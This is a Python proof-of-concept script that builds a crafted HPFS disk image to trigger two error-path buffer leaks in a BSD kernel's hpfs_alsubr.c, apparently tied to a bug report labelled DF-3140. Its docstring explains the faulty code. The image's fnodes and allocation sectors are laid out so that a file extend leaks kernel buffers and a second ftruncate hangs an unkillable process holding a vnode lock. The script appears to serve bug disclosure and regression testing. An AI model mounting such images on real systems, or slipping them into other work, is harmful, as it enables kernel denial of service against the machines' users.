#!/usr/bin/env python3
"""
DF-3140 — crafted HPFS image for the two error-path buffer leaks in
sys/vfs/hpfs/hpfs_alsubr.c:

(1) hpfs_addextent:479-509 (children-reparenting loop after
    hpfs_alblk2alsec):
        error = hpfs_breadalsec(hpmp, anp->an_lsn, &bp);
        if (error)
            return (error);          <-- nbp (getblk'd in
                                        hpfs_allocalsec, held) is NEVER
                                        brelse'd/bdwrite'd
    Every failed pwrite that reaches this path permanently leaks one
    B_BUSY 512-byte buffer (+ its bitmap sector).  File ADDL drives it:
    root alblk AB_NODES with freecnt==0 (conversion taken on the first
    extend) and an[0].an_lsn pointing at a sector without AS_MAGIC.

(2) hpfs_truncatealblk:798-801 (sibling read for concat):
        error = hpfs_breadalsec(hpmp, (anp-1)->an_lsn, &b0p);
        if (error)
            return (error);          <-- bp (current child AlSec buffer)
                                        is NEVER brelse'd
    File TRUN drives it: root AB_NODES with two alnodes; an[1] -> C1
    (leaf alsec, partially truncated so *resp==0), an[0] -> bad sector.
    First ftruncate(512) leaks C1's buffer; the SECOND ftruncate blocks
    forever in getblk() on the still-BUSY leaked buffer -> unkillable
    process holding the vnode lock.

Image: 0x70000 sectors (~229 MB, mostly sparse) so the ADDL loop has
~458k free bitmap sectors to leak; bitmap dir at 0x30 lists 28 band
bitmaps at 0x38+4*i.
"""
import struct, sys

SECTOR = 512
IMGSEC = 0x70000
SU_MAGIC = 0xFA53E9C5F995E849
SP_MAGIC = 0xFA5229C5F9911849
FN_MAGIC = 0xF7E40AAE
D_MAGIC  = 0x77E40AAE
AS_MAGIC = 0x37E40AAE
AB_NODES = 0x80

FN_OFF_MAGIC, FN_OFF_NAMELEN, FN_OFF_NAME = 0x00, 0x10, 0x11
FN_OFF_PARENT, FN_OFF_FLAG, FN_OFF_AB, FN_OFF_ABD, FN_OFF_SIZE = \
    0x20, 0x3B, 0x3C, 0x44, 0xA4
AB_OFF_FLAG, AB_OFF_FREECNT, AB_OFF_BUSYCNT, AB_OFF_FREEOFF = 0, 4, 5, 6
AS_OFF_AB = 0x0C
AS_OFF_ABD = 0x14

DBNUM = (IMGSEC + 0x3FFF) // 0x4000          # 28
BADLSN = IMGSEC - 1                          # 0x6FFFF: valid I/O, no magic

def build(outpath):
    img = bytearray(IMGSEC * SECTOR)
    def wr32(o, v): struct.pack_into('<I', img, o, v & 0xFFFFFFFF)
    def wr64(o, v): struct.pack_into('<Q', img, o, v & 0xFFFFFFFFFFFFFFFF)
    def wr16(o, v): struct.pack_into('<H', img, o, v & 0xFFFF)
    def wr8(o, v):  img[o] = v & 0xFF

    img[0] = 0xEB
    wr16(SECTOR - 2, 0xAA55)

    su = 0x10 * SECTOR
    wr64(su + 0, SU_MAGIC); wr8(su + 8, 2)
    wr32(su + 12, 0x20)
    wr32(su + 16, IMGSEC)
    wr32(su + 20, 0)
    wr32(su + 24, 0x30); wr32(su + 28, 0x30)
    wr64(0x11 * SECTOR, SP_MAGIC)

    # bitmap dir: DBNUM entries, band bitmap i at 0x38 + 4*i (4 sectors
    # of 2048 bytes each = 0x4000 bits)
    for i in range(DBNUM):
        wr32(0x30 * SECTOR + 4 * i, 0x38 + 4 * i)
    # band bitmaps: band 0 low sectors (<0x200) busy; everything else free
    # (fresh zero bytes = all bits CLEAR = all BUSY in HPFS; set 1=free)
    for i in range(0x200, IMGSEC):
        band = i >> 14
        bmsec = (0x38 + 4 * band) * SECTOR
        off = bmsec + ((i & 0x3FFF) >> 3)
        if off < len(img):
            img[off] |= (1 << (i & 7))

    rf = 0x20 * SECTOR
    wr32(rf + FN_OFF_MAGIC, FN_MAGIC)
    wr8(rf + FN_OFF_NAMELEN, 1); img[rf + FN_OFF_NAME] = ord('.')
    wr32(rf + FN_OFF_PARENT, 0x20)
    wr8(rf + FN_OFF_FLAG, 1)
    img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0
    img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7
    img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
    wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12)
    wr32(rf + FN_OFF_ABD + 0, 0); wr32(rf + FN_OFF_ABD + 4, 1)
    wr32(rf + FN_OFF_ABD + 8, 0xB0)
    wr32(rf + FN_OFF_SIZE, 4 * SECTOR)

    db = 0xB0 * SECTOR
    wr32(db + 0, D_MAGIC); wr32(db + 12, 0x20); wr32(db + 16, 0xB0)
    dep = db + 20
    for name, fno in ((b'ADDL', 0xB8), (b'TRUN', 0xBC)):
        reclen = ((0x2f + len(name)) + 3) & ~3
        wr16(dep + 0x00, reclen); wr16(dep + 0x02, 0)
        wr32(dep + 0x04, fno)
        wr64(dep + 0x08, 0); wr32(dep + 0x10, 0x10000)
        wr64(dep + 0x18, 0); wr64(dep + 0x20, 0); wr32(dep + 0x28, 0)
        img[dep + 0x2e] = len(name)
        for i, c in enumerate(name):
            img[dep + 0x2f + i] = c
        dep += reclen
    wr16(dep + 0x00, 4 * SECTOR - (dep - db))
    wr16(dep + 0x02, 0x08)
    wr32(db + 4, (dep + 4) - db)

    # --- ADDL fnode @0xB8: AB_NODES, busycnt=1, freecnt=0 ---
    ff = 0xB8 * SECTOR
    wr32(ff + FN_OFF_MAGIC, FN_MAGIC)
    wr32(ff + FN_OFF_PARENT, 0x20)
    wr8(ff + FN_OFF_NAMELEN, 4)
    img[ff + FN_OFF_NAME:ff + FN_OFF_NAME + 4] = b'ADDL'
    wr8(ff + FN_OFF_FLAG, 0)
    wr32(ff + FN_OFF_SIZE, 512)
    img[ff + FN_OFF_AB + AB_OFF_FLAG] = AB_NODES
    img[ff + FN_OFF_AB + AB_OFF_FREECNT] = 0        # -> conversion path
    img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
    wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 8)
    wr32(ff + FN_OFF_ABD + 0, 0xFFFFFFFF)
    wr32(ff + FN_OFF_ABD + 4, BADLSN)               # children-fixup EIO

    # --- TRUN fnode @0xBC: AB_NODES, busycnt=2 ---
    ff = 0xBC * SECTOR
    wr32(ff + FN_OFF_MAGIC, FN_MAGIC)
    wr32(ff + FN_OFF_PARENT, 0x20)
    wr8(ff + FN_OFF_NAMELEN, 4)
    img[ff + FN_OFF_NAME:ff + FN_OFF_NAME + 4] = b'TRUN'
    wr8(ff + FN_OFF_FLAG, 0)
    wr32(ff + FN_OFF_SIZE, 5 * 512)                 # truncate to 512
    img[ff + FN_OFF_AB + AB_OFF_FLAG] = AB_NODES
    img[ff + FN_OFF_AB + AB_OFF_FREECNT] = 0xA
    img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = 2
    wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 16)
    wr32(ff + FN_OFF_ABD + 0, 0xFFFFFFFF)           # an[0].nextoff
    wr32(ff + FN_OFF_ABD + 4, BADLSN)               # an[0].lsn = bad
    wr32(ff + FN_OFF_ABD + 8, 0xFFFFFFFF)           # an[1].nextoff
    wr32(ff + FN_OFF_ABD + 12, 0xF04)               # an[1].lsn -> C1

    # --- C1 leaf alsec @0xF04 ---
    c = 0xF04 * SECTOR
    wr32(c + 0, AS_MAGIC); wr32(c + 4, 0xF04); wr32(c + 8, 0xBC)
    img[c + AS_OFF_AB + AB_OFF_FLAG] = 0
    img[c + AS_OFF_AB + AB_OFF_FREECNT] = 0x27
    img[c + AS_OFF_AB + AB_OFF_BUSYCNT] = 1
    wr16(c + AS_OFF_AB + AB_OFF_FREEOFF, 8 + 12)
    wr32(c + AS_OFF_ABD + 0, 0)                     # al_off
    wr32(c + AS_OFF_ABD + 4, 5)                     # al_len (5 blocks)
    wr32(c + AS_OFF_ABD + 8, 0x100)                 # al_lsn

    with open(outpath, 'wb') as f:
        f.write(img)
    print("wrote %s: %d sectors (%.0f MB), dbnum=%d, badlsn=0x%x"
          % (outpath, IMGSEC, IMGSEC * SECTOR / 1048576.0, DBNUM, BADLSN))

if __name__ == '__main__':
    build(sys.argv[1] if len(sys.argv) > 1 else 'df3140.img')
